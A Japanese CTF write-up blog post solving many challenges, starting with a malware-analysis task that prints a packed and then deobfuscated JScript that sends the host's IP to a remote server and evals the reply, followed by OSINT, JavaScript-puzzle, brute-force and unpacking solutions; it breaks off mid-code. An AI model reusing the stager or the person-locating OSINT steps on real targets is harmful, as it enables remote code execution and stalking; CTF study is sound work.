0000240: 003f 0053 0074 0072 0069 006e 0067 002e  .?.S.t.r.i.n.g..
0000250: 0066 0072 006f 006d 0043 0068 0061 0072  .f.r.o.m.C.h.a.r
0000260: 0043 006f 0064 0065 0028 0063 002b 0032  .C.o.d.e.(.c.+.2
省略

手順2 スクリプトを抽出

この実行ファイル、自分の環境では実行できなかった。
そこでスクリプトを抽出してみる。0x00 が間に挟まってるので、何とかうまいこと抽出します。

これを

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('6 3(){1 w=R("Q:{P=O}");e=5 N(w.M("L * K J I H = G"));4 e.F().E(0)}6 p(u,d){1 r=5 D("C.B");r.A("z",u,y);r.v("t-s","q/x-o-n-m");r.l(2,k);r.j(d);4 r.i}1 u="h://g.f.c.b:a/p.9";1 d="8="+3();7(p(u,d));',54,54,'|var||ip|return|new|function|eval|myaddr|php|60444|38|64|||146|210|https|responseText|send|13056|setOption|urlencoded|form|www||application||Type|Content||setRequestHeader|||false|POST|open|ServerXMLHTTP|Msxml2|ActiveXObject|IPAddress|item|True|IPEnabled|WHERE|Win32_NetworkAdapterConfiguration|FROM|SELECT|ExecQuery|Enumerator|impersonate|impersonationLevel|winmgmts|GetObject'.split('|'),0,{}))

こうじゃ

eval(function(p, a, c, k, e, d) {
  e = function(c) {
    return (c < a ? '' : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
  };
  if (!''.replace(/^/, String)) {
    while (c--) d[e(c)] = k[c] || e(c);
    k = [function(e) {
      return d[e]
    }];
    e = function() {
      return '\\w+'
    };
    c = 1
  };
  while (c--)
    if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
  return p
}('6 3(){1 w=R("Q:{P=O}");e=5 N(w.M("L * K J I H = G"));4 e.F().E(0)}6 p(u,d){1 r=5 D("C.B");r.A("z",u,y);r.v("t-s","q/x-o-n-m");r.l(2,k);r.j(d);4 r.i}1 u="h://g.f.c.b:a/p.9";1 d="8="+3();7(p(u,d));', 54, 54, '|var||ip|return|new|function|eval|myaddr|php|60444|38|64|||146|210|https|responseText|send|13056|setOption|urlencoded|form|www||application||Type|Content||setRequestHeader|||false|POST|open|ServerXMLHTTP|Msxml2|ActiveXObject|IPAddress|item|True|IPEnabled|WHERE|Win32_NetworkAdapterConfiguration|FROM|SELECT|ExecQuery|Enumerator|impersonate|impersonationLevel|winmgmts|GetObject'.split('|'), 0, {}))

たぶん、これでパックされていると思われる。
http://dean.edwards.name/packer/

手順3 スクリプトを解読

caffeine-monkeyというツールで難読化されたJavaSciptを複合化できる。

インストール手順や使い方は省略する。
実行の結果として、以下が得られる。

これを

EVAL: function ip(){var w=GetObject("winmgmts:{impersonationLevel=impersonate}");e=new Enumerator(w.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = True"));return e.item().IPAddress(0)}function p(u,d){var r=new ActiveXObject("Msxml2.ServerXMLHTTP");r.open("POST",u,false);r.setRequestHeader("Content-Type","application/x-www-form-urlencoded");r.setOption(2,13056);r.send(d);return r.responseText}var u="https://210.146.64.38:60444/p.php";var d="myaddr="+ip();eval(p(u,d));

こうじゃ

function ip() {
  var w = GetObject("winmgmts:{impersonationLevel=impersonate}");
  e = new Enumerator(w.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = True"));
  return e.item().IPAddress(0)
}

function p(u, d) {
  var r = new ActiveXObject("Msxml2.ServerXMLHTTP");
  r.open("POST", u, false);
  r.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  r.setOption(2, 13056);
  r.send(d);
  return r.responseText
}
var u = "https://210.146.64.38:60444/p.php";
var d = "myaddr=" + ip();
eval(p(u, d));

function ip() {
  var w = GetObject("winmgmts:{impersonationLevel=impersonate}");
  e = new Enumerator(w.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = True"));
  return e.item().IPAddress(0)
}

function p(u, d) {
  var r = new ActiveXObject("Msxml2.ServerXMLHTTP");
  r.open("POST", u, false);
  r.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  r.setOption(2, 13056);
  r.send(d);
  return r.responseText
}
var u = "https://210.146.64.38:60444/p.php";
var d = "myaddr=" + ip();
eval(p(u, d));

手順4 答え

なんか色々やってるけど、怪しいURLがあるので、アクセスしてみよう。

もし本物のマルウェアだったら、直接ブラウザでアクセスするのは危険。
気休めだけど、curlコマンドを使おう。

$ curl   -d myaddr=10.0.2.222 https://210.146.64.38:60444/p.php --insecure
WScript.Echo('flag = {lnk is sometimes malicious}')

flagが出てきた。想定解なのかしら?

171 諜報術 KDL

1998年にKDL (Kobe Digital Labo)がどういう人材を募集していましたか?

(フラグは日本語でお願い申し上げ候)


そのドメインが昔どういう内容だったか、確認できるサイトがあります。Web魚拓みたいなもんです。

Internet Archive: Wayback Machine
http://archive.org/web/

個人的な若かりし頃に作った闇歴史サイトも保存されてたりするので、精神衛生上良くないですw

さてさて、http://www.kdl.co.jp の1980年の内容を確認してみましょう。

https://web.archive.org/web/19981212030254/http://www.kdl.co.jp/

「ソフトウェア開発エンジニア募集中!!」でしたね。
答えは「ソフトウェア開発エンジニア」です。

172 諜報術 Mr. Nipps

山寺純社長は日本時間で今年の8月13日の朝の5時半に何処にいらっしゃったでしょうか?
フラグはGPSの位置情報「緯度,経度」でお願いします。
例:55.55555555,66.66666666
(2~3桁.7桁,2~3桁.7桁)

サンタ殿からのヒント:永・日°・愛


位置情報の「小数点以下7桁」と言う精度は、どうやら1cm程度らしいので、ぼんやり「ここらへん」じゃダメそうですね。
なので「いま××にいます~」みたいな、発言の記録から推測するという可能性は低そうです。
画像ファイルのExifに位置情報が入っているんじゃないかと思いましたが、主要なSNSは画像ファイルをアップロードする際にExif情報が削除されます。
う~んと思いつつも、FacebookやTwitterなんかを探しまくっていました。

それで、やっと見つけたのが
http://websta.me/p/1050182265090749169_317443

2015-08-13, 5:31 とありますので、間違い無さそうですね。場所は~・・・よくよく見ると地図へのリンクがあります。

http://websta.me/location/3782125

よし・・・解けた・・・と思ってからが、長かった。
そのままグーグルマップに移行すると座標は6桁で足りない。
まぁ1桁だけだから、ブルートフォース出来ないこともないんだろうけど、ルール違反ぽいし困ってた。
実は、http://websta.me/location/3782125 のHTMLのソースの中にあった。

<div id="map_wrapper" data-lat="34.0409203" data-lng="-118.2672272"></div>

173 諜報術 Akiko-chan

ある日、突然この可愛い女の子からフェイスブックの友達リクエストが来た。
しかし、見覚えが無いので少し怪しいと思って、念のためにこの人がほんまものかどうか調べたい。
友達に見せたら、「この子、確かどこかのwordpressサイトで見たで~」って。

フェイスブックメッセージ:
「やっほ~
この間、あそこで出会ったアキコで~す!覚えてる??
よかったら、FB友達なってね~!」

友達が何処のwordpressサイトで見たでしょうか?
フラグはxxxxxx.wordpress.comでお願いします。


google先生の画像検索すればよい。

こんな感じ

答え

https://twanzphobic.wordpress.com

174 諜報術 タナカハック

大和セキュリティの田中さんが最近どのホラ貝よりも凄い音をする次世代ホラ貝を開発したという情報が入りました。彼が特許を取る前に是非その情報を手に入りたいと思って、彼のISPでスニッファを設けて、機密情報が入っているサーバへのログインを盗聴できたが、なぜかユーザ名の一部が壊れてしまいました。「123456」のパスワードと「taなんとか123」のユーザ名が分かりましたが、正しいユーザ名が分からないとログインできないので、彼が使っているユーザ名を見つけて下さい。

フラグ:田中さんのユーザ名

※注意1:総当りの問題ではないので、総当たり攻撃は禁止の上、不要!
※注意2:このシナリオはフィクションです。不正アクセスは犯罪なので絶対してはいかぬじゃ~

(答えはwww.yamatosecurity.comに公開されているファイルにあります。)

サンタ殿からのヒント:wgetとgrepとバイナリーエディターさえあればどんな問題でも解けるでござる。


まず、 www.yamatosecurity.com のファイルを全部取得しましょう。wgetコマンドで出来ます。

$ wget -r http://www.yamatosecurity.com

そっこから全部 strings して grep して怪しい文字列を探そうと思って

$ cd www.tanakazakku.com/yamatosecurity/files
$  strings ./* |grep 123
123 0 obj
<< /Type /Page /Parent 114 0 R /Resources 125 0 R /Contents 123 0 R /MediaBox
0000212332 00000 n
0000212311 00000 n
0000212369 00000 n
0001234879 00000 n
0001232035 00000 n
0001232057 00000 n
0001234857 00000 n
               <rdf:li>tanakazakkarini123</rdf:li>
<</Author(tanakazakkarini123)/CreationDate(D:20130422102054Z)/Creator(Microsoft PowerPoint)/Keywords()/ModDate(D:20150918163456+09'00')/Producer(Mac OS X 10.6.8 Quartz PDFContext)>>

tanakazakkarini123 だった。

ちなみに、「どのホラ貝よりも凄い音をする次世代ホラ貝」は実在していて、2015 SECCON決勝で田中さん自ら吹いてくれていました。すごい音でした。

175 諜報術 タイムトラベル

平成25年9月21日に50.115.13.104はどのドメイン名に結びついてたん?

(※上記の画像は問題と関係ありませぬ)


めっちゃ時間かかった。
該当のIPアドレスを管理するARINを中心に調べまくったのだけど、手がかりも見つからず。。

結局、こういう調べ方をして見つけた。
IPアドレスだけで検索すると「ipaddress.com」というサイトが矢鱈ひっかかるので、それを除外して検索。

https://www.google.co.jp/search?q=test&oq=test&es_sm=93&ie=UTF-8#q=50.115.13.104+-site:ipaddress.com&start=10

結果、以下が見つかる。

https://www.robtex.com/en/advisory/dns/50/115/13/104/

で、これ

mxserver-104.blisterninja.com

しんどかった。。
https://www.robtex.com というのは、こういう情報を保存しているんですね。新しい知見でした。

181 記述術 search_duplicate_character_string

次のファイルに書かれている文字列の異なる2つの部分文字列s1, s2を考えた時、s1=s2となるもののうち、最も長いものを答えてください。
ただし、「sがSの部分文字列である」とは、0 <= k <= |S| - |s|であるようなある整数kを用いて、0 <= i < |s|なる全ての整数iについて、S[k+i] = s[i]が成り立つことを言います。

181-search_duplicate_character_string


Qiita - ファイルの中にある特定文字列を数えるを使わせて頂いて、以下のソルバを書きました。

match_count.py

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import sys
import os.path


def clean_args(args):
    if len(args) == 2:
        search_word = args[1]
        return (True, None, search_word)
    if len(args) != 3:
        print "[Usage] match_count.py $filename $search_word"
        return (False, None, None)

    target_file_path = args[1]
    search_word       = args[2]

    if not os.path.exists(target_file_path):
        print "[Error] File is not exist."
        return (False, None, None)

    return (True, target_file_path, search_word)


def count_words(filename, search_word):

    if filename is not None:
        # python 2.4だったのでwith使えず
        stream = open(filename, 'r')
        counter = _count(stream, search_word)
        stream.close()
        return counter
    else :
        return _count(sys.stdin, search_word)


def _count(stream, search_word):
    counter = 0
    for line in stream:
        counter += line.count(search_word)
    return counter


def main():

    args = sys.argv
    (is_valid, filename, search_word) = clean_args(args)
    if not is_valid:
        sys.exit()

    print count_words(filename, search_word)


if __name__ == '__main__':
    main()

solver.sh

#!/bin/bash

FI="181-search_duplicate_character_string.txt"
#FI="test.txt"

ST_C="1"
EN_C=`cat ${FI}|wc -c`
#CNT=$EN_C
CNT="1000"

N=1
M=$CNT

echo "" > time.log

while :
do
  CMP=`cat ${FI}|cut -c$N-$M`
  ANS=`./match_count.py ${FI} "${CMP}"`
  if [ ${ANS} -gt "1" ]
  then
    echo "Hit!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
    echo ${CMP}
    echo ${CMP} > answer.txt
    exit 0
  fi

  N=$(( N + 1 ))
  M=$(( M + 1 ))
  if [ $M -gt $EN_C ]
  then
    CNT=$(( CNT - 1 ))
    N=1
    M=$CNT
    date      >> time.log
    echo $CNT >> time.log
  fi

done

答え

f_sz!bp_$gufl=b?za>is#c|!?cxpr!i><

182 記述術 JavaScript Puzzle

戦国時代、戦の影で活躍した忍びの棟梁 井伊衛 素六。
今回の戦いでも敵中深くまで潜り込み、敵の必殺技「荒痕(1)」の書かれた秘伝の書を入手したのはよかったが、必殺技の漏えいを恐れる敵の手によって技を発動させるための重要な手順のいくつかが隠されてしまっている。
負けるわけにいかない今回の戦、必殺技「荒痕(1)」を発動させるための手順をぜひ完成させて欲しい。
182-jspuzzle.zip


182.png

さて・・・さっぱりだわ・・・w
だがまだだ・・・まだ慌てるような時間じゃない。

まず、1個目の空欄と2個目の空欄なんだけど、eval と call だと思われる。たぶん。
続けて、文字を現す値が入ります。"alert"ですね。なので、ここまでは解りました。

    window["eval"]["call"]`${
        [(00000101),(0b1001100),(101), 0x52, 0x54 ]

この数値なんかは、ChromeのJavaSciptコンソールで変数に入れてみたりすれば、すぐ分かります。

さてさて、残りがわからないんですよ。計5個の空欄。
適当に入力してみたけど、ぜんぜんダメ。。よし、ブルートフォース(物理)だ!

5! = 5 x 4 x 3 x 2 x 1 = 120通り

充分いける数。そんな訳で、全部の組わせを出力するシェルスクリプトを書く。

solv.sh

#!/bin/bash

JUN="jun.txt"
DIC="dic.txt"

while read LINE
do
    FOR_GREP=`echo $LINE|awk '{print $1}'`
    P1=`cat $DIC|grep ${FOR_GREP}|awk '{print $2}'`

    FOR_GREP=`echo $LINE|awk '{print $2}'`
    P2=`cat $DIC|grep ${FOR_GREP}|awk '{print $2}'`

    FOR_GREP=`echo $LINE|awk '{print $3}'`
    P3=`cat $DIC|grep ${FOR_GREP}|awk '{print $2}'`

    FOR_GREP=`echo $LINE|awk '{print $4}'`
    P4=`cat $DIC|grep ${FOR_GREP}|awk '{print $2}'`

    FOR_GREP=`echo $LINE|awk '{print $5}'`
    P5=`cat $DIC|grep ${FOR_GREP}|awk '{print $2}'`

    FOR_GREP=`echo $LINE|awk '{print $6}'`
    P6=`cat $DIC|grep ${FOR_GREP}|awk '{print $2}'`

    FOR_GREP=`echo $LINE|awk '{print $7}'`
    P7=`cat $DIC|grep ${FOR_GREP}|awk '{print $2}'`

    echo "########## $P1 $P2 $P3 $P4 $P5 $P6 $P7"

    printf '    window["%s"]["%s"]`${\n' $P1 $P2 > try.js
    echo '        [(00000101),(0b1001100),(101), 0x52, 0x54 ]' >> try.js
    printf '        ["%s"](x=>String["%s"](x))["%s"]("")["%s"]() +"%s"\n' $P3 $P4 $P5 $P6 $P7 >> try.js
    echo '    }`;' >> try.js

    Linux_All_DBG.OBJ/js try.js

    if cat /tmp/js_function.log|grep alert >/dev/null
    then
      echo "Hit!!!!!!!!!!!!!!!!!!!!!!!!"
      echo "########## $P1 $P2 $P3 $P4 $P5 $P6 $P7"
      exit 0
    fi

done < $JUN

jun.dic

jun.txtを作るのに学校のC言語の課題で、順列を表示させるプログラムをつくりたいを利用させて頂きました。

1   2   3   4   5   7   6
1   2   3   4   6   5   7
1   2   3   4   6   7   5
1   2   3   4   7   5   6
1   2   3   4   7   6   5
1   2   3   5   4   6   7
1   2   3   5   4   7   6
1   2   3   5   6   4   7
1   2   3   5   6   7   4
1   2   3   5   7   4   6
1   2   3   5   7   6   4
1   2   3   6   4   5   7
1   2   3   6   4   7   5
1   2   3   6   5   4   7
1   2   3   6   5   7   4
1   2   3   6   7   4   5
1   2   3   6   7   5   4
1   2   3   7   4   5   6
1   2   3   7   4   6   5
1   2   3   7   5   4   6
1   2   3   7   5   6   4
1   2   3   7   6   4   5
1   2   3   7   6   5   4
1   2   4   3   5   6   7
1   2   4   3   5   7   6
1   2   4   3   6   5   7
1   2   4   3   6   7   5
1   2   4   3   7   5   6
1   2   4   3   7   6   5
1   2   4   5   3   6   7
1   2   4   5   3   7   6
省略(数字の全部の組み合わせが続く)

dic.txt

1 (1)
2 eval
3 call
4 join
5 map
6 toLowerCase
7 fromCodePoint

出力結果

    window["eval"]["call"]`${
        [(00000101),(0b1001100),(101), 0x52, 0x54 ]
        ["(1)"](x=>String["join"](x))["map"]("")["fromCodePoint"]() +"toLowerCase"
    }`;

    window["eval"]["call"]`${
        [(00000101),(0b1001100),(101), 0x52, 0x54 ]
        ["(1)"](x=>String["join"](x))["toLowerCase"]("")["map"]() +"fromCodePoint"
    }`;

    window["eval"]["call"]`${
        [(00000101),(0b1001100),(101), 0x52, 0x54 ]
        ["(1)"](x=>String["join"](x))["toLowerCase"]("")["fromCodePoint"]() +"map"
    }`;
以下省略

これを Chrome の JavaScriptコンソール に順に貼り付けて実行します。
ダメだったらエラーが出ますが、エラーの箇所によっては、試さなくてもいい組み合わせが判断できるので、実際には 120通りも試す必要はありませんでした。

答え

window["eval"]["call"]`${
    [(00000101),(0b1001100),(101), 0x52, 0x54 ]
    ["map"](x=>String["fromCodePoint"](x))["join"]("")["toLowerCase"]() +"(1)"
}`;

183 記述術 Count Number Of Flag's SubString!

http://210.146.64.36:30840/count_number_of_flag_substring/


こんなソルバを書いて突破した(途中まで1文字ずつ解いてた名残で、ちょっとおかしい所があるかも)。

#!/bin/bash

LIST="a b c d e f g  h i j k l m n o p q r s t u v w x y z _ %7D"
ANS="afsfdsfdsfso_idardkxa_hgiah"

while :
do

for WORD in $LIST
do
CONTENT=`curl -s "http://210.146.64.36:30840/count_number_of_flag_substring/?str=flag%3D%7B${ANS}${WORD}&count=count"|grep member`
printf "%s %s\n" $WORD $CONTENT
if echo $CONTENT|grep "1" >/dev/null
then
  echo $CONTENT
  #exit 0
  ANS="$ANS$WORD"
  break
fi
sleep 1
done

done

flag={afsfdsfdsfso_idardkxa_hgiahrei_nxnkasjdx_hfuidgire_anreiafn_dskafiudsurerfrandskjnxxr}

184 記述術 解凍?

184-flag.txt


圧縮ファイルの中に圧縮ファイル。その中は更に圧縮ファイル・・・というもの。
しかも圧縮形式がそれそれ違う。

こんなソルバで解いた。
これで全部解ける訳じゃなく、一部手作業での対応を交えつつ解いた。

roop.sh

#!/bin/bash

for i in `seq 1 1000`
do
  ./solv_tenkai.sh
done

solv_tenkai.sh

#!/bin/sh

LIST=`ls|grep -v flatting.sh`
LIST=`ls -rt|grep flag|head -1`

for WORD in ${LIST}
do
  FILE_TYPE=`file ${WORD}`

  echo ${FILE_TYPE}

  if echo ${FILE_TYPE}|grep "Zip archive data" >/dev/null
  then
    unzip -o ${WORD}
    #rm ${WORD}
  elif echo ${FILE_TYPE}|grep "shell archive text" >/dev/null
  then
    sh ${WORD}
    #rm ${WORD}
  elif echo ${FILE_TYPE}|grep "bzip2 compressed data" >/dev/null
  then
    bunzip2 -c ${WORD} > ${WORD}_out
    mv ${WORD}_out ${WORD}
    #rm ${WORD}
  elif echo ${FILE_TYPE}|grep "POSIX tar archive" >/dev/null
  then
    tar xvf ${WORD}
    #rm ${WORD}
  elif echo ${FILE_TYPE}|grep "gzip compressed data" >/dev/null
  then
    gunzip -c ${WORD} > ${WORD}_out
    mv ${WORD}_out ${WORD}
    #rm ${WORD}
  elif echo ${FILE_TYPE}|grep "xz compressed data" >/dev/null
  then
    xz -d -c ${WORD} > ${WORD}_out
    mv ${WORD}_out ${WORD}
    #rm ${WORD}
  elif echo ${FILE_TYPE}|grep "ASCII cpio archive" >/dev/null
  then
    cpio -idv < ${WORD}
    rm ${WORD}
  elif echo ${FILE_TYPE}|grep "ASCII text" >/dev/null
  then
    if cat ${WORD} |grep "This is dummy file" >/dev/null
    then
      rm ${WORD}
    else
      exit 0
      echo sucess?
      read DUMMY

      base64 -d ${WORD} > ${WORD}_out  
      mv ${WORD}_out ${WORD}
      if [ ${?} = 0 ]
      then
        rm -i ${WORD}
      fi
    fi
  else
    :
  fi

done

exit 0

185 記述術 Make sorted Amida kuji!!

http://210.146.64.36:30840/amidakuji/


185_1.png

左の数字が、アミダクジに線を引く高さを表している。
右の数字が、どこに線を引くかを表している。

ちにみに、改行する必要はなく、数字が一列に並んでいてもいい。

で、画像のとおり最初は7通りの正解を入力すればいい。これは手動でできる。

すると次のステージが出てきて・・・

185_2.png

62通りの入力・・・もう人力ではできませんね。大人しくプログラミングしましょう。

ランダムに答えを見つける

まず最適解を出力するようコードを書いた。
その後で、一定の確率で回り道をするように修正した。
これを何日間かブン回したんだけど、どうしても 61通り までしか出力されず、あと1通りがどうしても出力されなかった。
どうやら、ランダムと言っても最適解の近傍しかパターンがでないんだろうなぁ。

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

void main(void){
  int xlimit=8;
  int ylimit=9;
  int table[xlimit+2];

  int work,i,j;
  int count=0;
  int skip_count;

  srand((unsigned)time(NULL));

  for(skip_count=-1; 1000000 >= skip_count ; skip_count++ ){
  table[0]=9;
  table[1]=8;
  table[2]=6;
  table[3]=5;
  table[4]=7;
  table[5]=3;
  table[6]=2;
  table[7]=1;
  table[8]=0;
  table[9]=4;
  count=0;

    for(i=0; ylimit >= i ;i++){
      for(j=0; ylimit > j ;j++){
        if(table[j]>table[j+1]){
          // 一定の確率で、入れ替えるべき所を入れ替えない
          if( ! 70 < rand()%100 ){
            work=table[j];
            table[j]=table[j+1];
            table[j+1]=work;
            printf("%d %d ",i,j);
            //printf("%d %d",i,j);
            //printf("  (%d %d %d %d)\n",table[0],table[1],table[2],table[3]);
            j++;
          }
          count++;
        }else{
          //一定の確率で、入れ替えないところを入れ替える
          if( 70 < rand()%100 ){
            work=table[j];
            table[j]=table[j+1];
            table[j+1]=work;
            printf("%d %d ",i,j);
            j++;
          }
        }
      }
    }

    for(i=0; ylimit >= i ;i++){
      if( table[i] != i ){
        printf(" wrong  - ");
        for(i=0; ylimit >= i ;i++){
          printf("%d ",table[i]);
        }
      }
    }
    printf("\n");

  }

}

総当りで答えを出す

それで、諦めて総当りで解くコードを書きました。
綺麗に書こうと思って再帰構造を考えてたんだけど、どうにも面倒になって、愚直に9重のループ分を書いた。
ちなみに、思いつきで書いているので、どうにもならなくなって goto文 まで使っちゃってます。
糞コードでございます。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void change(int *i,int *j){
  int work;
  work = *i;
  *i = *j;
  *j = work;
}

void main(void){
  int xlimit=8;
  int ylimit=9;
  int table[xlimit+2];
  int i0,i1,i2,i3,i4,i5,i6,i7,i8,i9;
  int j,work,flag;
  char answer[1024];

  int ampt[85][9]={{0,0,0,0,0,0,0,0},
                 {1,0,0,0,0,0,0,0,0},
                 {0,1,0,0,0,0,0,0,0},
                 {0,0,1,0,0,0,0,0,0},
                 {0,0,0,1,0,0,0,0,0},
                 {0,0,0,0,1,0,0,0,0},
                 {0,0,0,0,0,1,0,0,0},
                 {0,0,0,0,0,0,1,0,0},
                 {0,0,0,0,0,0,0,1,0},
                 {0,0,0,0,0,0,0,0,1},
                 {1,0,1,0,0,0,0,0,0},
                 {1,0,0,1,0,0,0,0,0},
                 {1,0,0,0,1,0,0,0,0},
                 {1,0,0,0,0,1,0,0,0},
                 {1,0,0,0,0,0,1,0,0},
                 {1,0,0,0,0,0,0,1,0},
                 {1,0,0,0,0,0,0,0,1},
                 {0,1,0,1,0,0,0,0,0},
                 {0,1,0,0,1,0,0,0,0},
                 {0,1,0,0,0,1,0,0,0},
                 {0,1,0,0,0,0,1,0,0},
                 {0,1,0,0,0,0,0,1,0},
                 {0,1,0,0,0,0,0,0,1},
                 {0,0,1,0,1,0,0,0,0},
                 {0,0,1,0,0,1,0,0,0},
                 {0,0,1,0,0,0,1,0,0},
                 {0,0,1,0,0,0,0,1,0},
                 {0,0,1,0,0,0,0,0,1},
                 {0,0,0,1,0,1,0,0,0},
                 {0,0,0,1,0,0,1,0,0},
                 {0,0,0,1,0,0,0,1,0},
                 {0,0,0,1,0,0,0,0,1},
                 {0,0,0,0,1,0,1,0,0},
                 {0,0,0,0,1,0,0,1,0},
                 {0,0,0,0,1,0,0,0,1},
                 {0,0,0,0,0,1,0,1,0},
                 {0,0,0,0,0,1,0,0,1},
                 {0,0,0,0,0,0,1,0,1},
                 {1,0,1,0,1,0,0,0,0},
                 {1,0,1,0,0,1,0,0,0},
                 {1,0,1,0,0,0,1,0,0},
                 {1,0,1,0,0,0,0,1,0},
                 {1,0,1,0,0,0,0,0,1},
                 {1,0,0,1,0,1,0,0,0},
                 {1,0,0,1,0,0,1,0,0},
                 {1,0,0,1,0,0,0,1,0},
                 {1,0,0,1,0,0,0,0,1},
                 {1,0,0,0,1,0,1,0,0},
                 {1,0,0,0,1,0,0,1,0},
                 {1,0,0,0,1,0,0,0,1},
                 {1,0,0,0,0,1,0,1,0},
                 {1,0,0,0,0,1,0,0,1},
                 {1,0,0,0,0,0,1,0,1},
                 {0,1,0,1,0,1,0,0,0},
                 {0,1,0,1,0,0,1,0,0},
                 {0,1,0,1,0,0,0,1,0},
                 {0,1,0,1,0,0,0,0,1},
                 {0,1,0,0,1,0,1,0,0},
                 {0,1,0,0,1,0,0,1,0},
                 {0,1,0,0,1,0,0,0,1},
                 {0,1,0,0,0,1,0,1,0},
                 {0,1,0,0,0,1,0,0,1},
                 {0,1,0,0,0,0,1,0,1},
                 {0,0,1,0,1,0,1,0,0},
                 {0,0,1,0,1,0,0,1,0},
                 {0,0,1,0,1,0,0,0,1},
                 {0,0,0,1,0,1,0,1,0},
                 {0,0,0,1,0,1,0,0,1},
                 {0,0,0,0,1,0,1,0,1},
                 {1,0,1,0,1,0,1,0,0},
                 {1,0,1,0,1,0,0,1,0},
                 {1,0,1,0,1,0,0,0,1},
                 {1,0,1,0,0,1,0,1,0},
                 {1,0,1,0,0,1,0,0,1},
                 {1,0,1,0,0,0,1,0,1},
                 {1,0,0,1,0,1,0,1,0},
                 {1,0,0,1,0,1,0,0,1},
                 {1,0,0,1,0,0,1,0,1},
                 {1,0,0,0,1,0,1,0,1},
                 {0,1,0,1,0,1,0,1,0},
                 {0,1,0,1,0,1,0,0,1},
                 {0,1,0,1,0,0,1,0,1},
                 {0,1,0,0,1,0,1,0,1},
                 {0,0,1,0,1,0,1,0,1},
                 {1,0,1,0,1,0,1,0,1}};

 for(i0=0;i0<85;i0++){
i0:
 for(i1=0;i1<85;i1++){
i1:
 fprintf(stderr,"INFO i0=%d i1=%d i2=%d i3=%d i4=%d i5=%d i6=%d i7=%d i8=%d i9=%d\n",i0,i1,i2,i3,i4,i5,i6,i7,i8,i9);
 for(i2=0;i2<85;i2++){
i2:
 for(i3=0;i3<85;i3++){
i3:
  //fprintf(stderr,"INFO i0=%d i1=%d i2=%d i3=%d i4=%d i5=%d i6=%d i7=%d i8=%d i9=%d\n",i0,i1,i2,i3,i4,i5,i6,i7,i8,i9);
 for(i4=0;i4<85;i4++){
i4:
  //fprintf(stderr,"INFO i0=%d i1=%d i2=%d i3=%d i4=%d i5=%d i6=%d i7=%d i8=%d i9=%d\n",i0,i1,i2,i3,i4,i5,i6,i7,i8,i9);
 for(i5=0;i5<85;i5++){
i5:
 for(i6=0;i6<85;i6++){
i6:
  //fprintf(stderr,"INFO i0=%d i1=%d i2=%d i3=%d i4=%d i5=%d i6=%d i7=%d i8=%d i9=%d\n",i0,i1,i2,i3,i4,i5,i6,i7,i8,i9);
 for(i7=0;i7<85;i7++){
i7:
 for(i8=0;i8<85;i8++){
i8:
 for(i9=0;i9<85;i9++){
i9:
  //fprintf(stderr,"INFO i0=%d i1=%d i2=%d i3=%d i4=%d i5=%d i6=%d i7=%d i8=%d i9=%d\n",i0,i1,i2,i3,i4,i5,i6,i7,i8,i9);
  table[0]=9;
  table[1]=8;
  table[2]=6;
  table[3]=5;
  table[4]=7;
  table[5]=3;
  table[6]=2;
  table[7]=1;
  table[8]=0;
  table[9]=4;
  flag=0;
  answer[0]=0x00;

  //fprintf(stderr,"in i0\n");
  for(j=0;j<9;j++){
   if(ampt[i0][j]==1){
    change(&table[j],&table[j+1]);
    sprintf(answer,"%d %d ",0,j);
   }
  }
  //printf("Debug: %d %d %d %d %d %d %d %d %d %d\n",table[0],table[1],table[2],table[3],table[4],table[5],table[6],table[7],table[8],table[9]);
  for(j=0;j<9;j++){
    //fprintf(stderr,"D %d %d\n",j,abs(table[j] -j));
    if( abs(table[j] -j) > 9 )goto i0e;
    //fprintf(stderr," thru ");
  }

  for(j=0;j<9;j++){
   if(ampt[i1][j]==1){
    change(&table[j],&table[j+1]);
    sprintf(answer,"%s %d %d ",answer,1,j);
   }
  }
  for(j=0;j<9;j++){
    //fprintf(stderr,"D %d - %d = %d\n",table[j],j,abs(table[j] -j));
    if( abs(table[j] -j) > 8 )goto i1e;
    //fprintf(stderr," thru ");
  }


  for(j=0;j<9;j++){
   if(ampt[i2][j]==1){
    change(&table[j],&table[j+1]);
    sprintf(answer,"%s %d %d ",answer,2,j);
   }
  }
  for(j=0;j<9;j++){
    if( abs(table[j] -j) > 7 )goto i2e;
  }


  for(j=0;j<9;j++){
   if(ampt[i3][j]==1){
    change(&table[j],&table[j+1]);
    sprintf(answer,"%s %d %d ",answer,3,j);
   }
  }
  for(j=0;j<9;j++){
    if( abs(table[j] -j) > 6 )goto i3e;
  }


  for(j=0;j<9;j++){
   if(ampt[i4][j]==1){
    change(&table[j],&table[j+1]);
    sprintf(answer,"%s %d %d ",answer,4,j);
   }
  }
  for(j=0;j<9;j++){
    if( abs(table[j] -j) > 5 )goto i4e;
  }


  for(j=0;j<9;j++){
   if(ampt[i5][j]==1){
    change(&table[j],&table[j+1]);
    sprintf(answer,"%s %d %d ",answer,5,j);
   }
  }
  for(j=0;j<9;j++){
    if( abs(table[j] -j) > 4 )goto i5e;
  }


  for(j=0;j<9;j++){
   if(ampt[i6][j]==1){
    change(&table[j],&table[j+1]);
    sprintf(answer,"%s %d %d ",answer,6,j);
   }
  }
  for(j=0;j<9;j++){
    if( abs(table[j] -j) > 3 )goto i6e;
  }


  for(j=0;j<9;j++){
   if(ampt[i7][j]==1){
    change(&table[j],&table[j+1]);
    sprintf(answer,"%s %d %d ",answer,7,j);
   }
  }
  for(j=0;j<9;j++){
